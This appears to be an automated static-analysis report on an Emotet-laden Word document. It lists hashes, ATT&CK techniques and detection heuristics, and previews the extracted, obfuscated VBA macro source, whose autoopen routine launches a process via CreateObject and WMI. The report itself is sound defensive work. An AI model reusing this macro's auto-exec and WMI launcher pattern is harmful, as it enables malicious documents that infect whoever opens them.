Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 11631d29d3f826bc…

MALICIOUS

Office (OLE)

196.8 KB Created: 2019-12-03 10:14:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: dbda5918eeb8f7a38641139f67b1f9b3 SHA-1: 1cb70712320dd081984ca43c9c189dc4d16a72e2 SHA-256: 11631d29d3f826bc2fc72cf19c49967ea86757c7bd4ee66c35af968d8d603804
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros utilize `CreateObject` and WMI (`Win32_Process.Create`) to download and execute a second-stage payload, a common technique for Emotet. The ClamAV signature also explicitly identifies it as Emotet.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7432704-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7432704-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8658 bytes
SHA-256: fb5be31a33b1a1874d5d5463ef7fc01fed3085fdd5dbb4e7edba863d89abc153
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jizzdiihgrtax"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Efjvkiedp, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Qeubacfujv, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Ljpzznfqnm, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Zubsjyxahuvpr, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Osgvgcijlhpda, 4, 4, MSForms, TextBox"
Attribute VB_Control = "Xnxuudoisvip, 5, 5, MSForms, TextBox"
Attribute VB_Control = "Vyoisoinnzyc, 6, 6, MSForms, TextBox"
Attribute VB_Control = "Chfycnmvgbim, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Psnxloajo, 8, 8, MSForms, TextBox"
Attribute VB_Control = "Orttstvlqt, 9, 9, MSForms, TextBox"
Attribute VB_Control = "Alqvdywg, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Yaxjcpiy, 11, 11, MSForms, TextBox"

Attribute VB_Name = "Qmgqiufkeor"
Attribute VB_Base = "0{03E2B295-C9F7-48BF-AC02-EF1DC449BAE4}{A5897077-B130-48C3-BE96-ED8AFA91BBA3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Nzynhwadfkhr"
Function Wwfanoaculc()
On Error Resume Next
   Set Tddwnkvosqv = Ihkpwfqffyxkl
If Wlsxrnsdbkp Or Zmkwuoyxfbzam Then
      Do While nEUFim > CxZxJD6
         VLjY49J0 = (8 / 106083443 + (270670809 * Sin(zNGv3aM)))
      Loop
      gWAy656o3 = Cos(OMl)
      ElseIf ZgfHJ Eqv 470086876 Then
      zpUL19g6 = uDl
      Eglcdgshxyp = Ejehmsfsoap
End If
CreateObject(Fsdqbbbcps).Create# Nzynhwadfkhr.Uxxlltpvhe, Auvysouq, Awqkuvytbphnu
   Set Hhpbljsqgjbu = Exyckawrgr
If Cgknxdrrqbs Or Admzxhawhrp Then
      Do While nEUFim > CxZxJD6
         VLjY49J0 = (8 / 106083443 + (270670809 * Sin(zNGv3aM)))
      Loop
      gWAy656o3 = Cos(OMl)
      ElseIf ZgfHJ Eqv 470086876 Then
      zpUL19g6 = uDl
      Nqxpayswhlf = Ydhvcfklkw
End If
Cadqnencec = MsgBox(("Critical Error Encountered"), ("16"), Qmgqiufkeor.Deeaxdrormfq)
   Set Mzklmokktnxc = Zkxvtfpsfbbkj
If Qzqzpokuuatxt Or Pnbzxfkfbxct Then
      Do While nEUFim > CxZxJD6
         VLjY49J0 = (8 / 106083443 + (270670809 * Sin(zNGv3aM)))
      Loop
      gWAy656o3 = Cos(OMl)
      ElseIf ZgfHJ Eqv 470086876 Then
      zpUL19g6 = uDl
      Kbeeodnhcp = Qcvziwdmmnj
End If
End Function
Sub autoopen()
On Error Resume Next
   Set Xarvuewwajg = Hpqfprujevprq
If Qhwvnqgixrm Or Knbjwkxuukxze Then
      Do While nEUFim > CxZxJD6
         VLjY49J0 = (8 / 106083443 + (270670809 * Sin(zNGv3aM)))
      Loop
      gWAy656o3 = Cos(OMl)
      ElseIf ZgfHJ Eqv 470086876 Then
      zpUL19g6 = uDl
      Ecedtgfsnkbh = Sodcvyqtg
End If
   Set Fogfnjupdou = Tuckzwjsvxv
If Xxhwredjuoenl Or Zehfntilgae Then
      Do While nEUFim > CxZxJD6
         VLjY49J0 = (8 / 106083443 + (270670809 * Sin(zNGv3aM)))
      Loop
      gWAy656o3 = Cos(OMl)
      ElseIf ZgfHJ Eqv 470086876 Then
      zpUL19g6 = uDl
      Wjrkyomxigw = Gzfxwnbst
End If
   Set Tuxfxydzay = Sqtgrslbfjwo
If Ejqtfctcyjhlu Or Qiuwerwpb Then
      Do While nEUFim > CxZxJD6
         VLjY49J0 = (8 / 106083443 + (270670809 * Sin(zNGv3aM)))
      Loop
      gWAy656o3 = Cos(OMl)
      ElseIf ZgfHJ Eqv 470086876 Then
      zpUL19g6 = uDl
      Qefkyjaautih = Apskyfymwpabr
End If
Wwfanoaculc
End Sub
Function Awqkuvytbphnu()
On Error Resume Next
   Set Qrjahcsruvik = Bsjlgovc
If Zkthhrasbi Or Uchjxvnmy Then
      Do While nEUFim > CxZxJD6
         VLjY49J0 = (8 / 106083443 + (270670809 * Sin(zNGv3aM)))
      Loop
      gWAy656o3 = Cos(OMl)
      ElseIf ZgfHJ Eqv 470086876 Then
      zpUL19g6 = uDl
      Elfhziixoowb = Lkdupjncvx
End If
Krvkrdficov = Fsdqbbbcps
   Set Excrxeuck = Sbmnjwwea
If Ipipeooiim Or Thlmdabkcvm Then
      Do While nEUFim > CxZxJD6
         VLjY49J0 
... (truncated)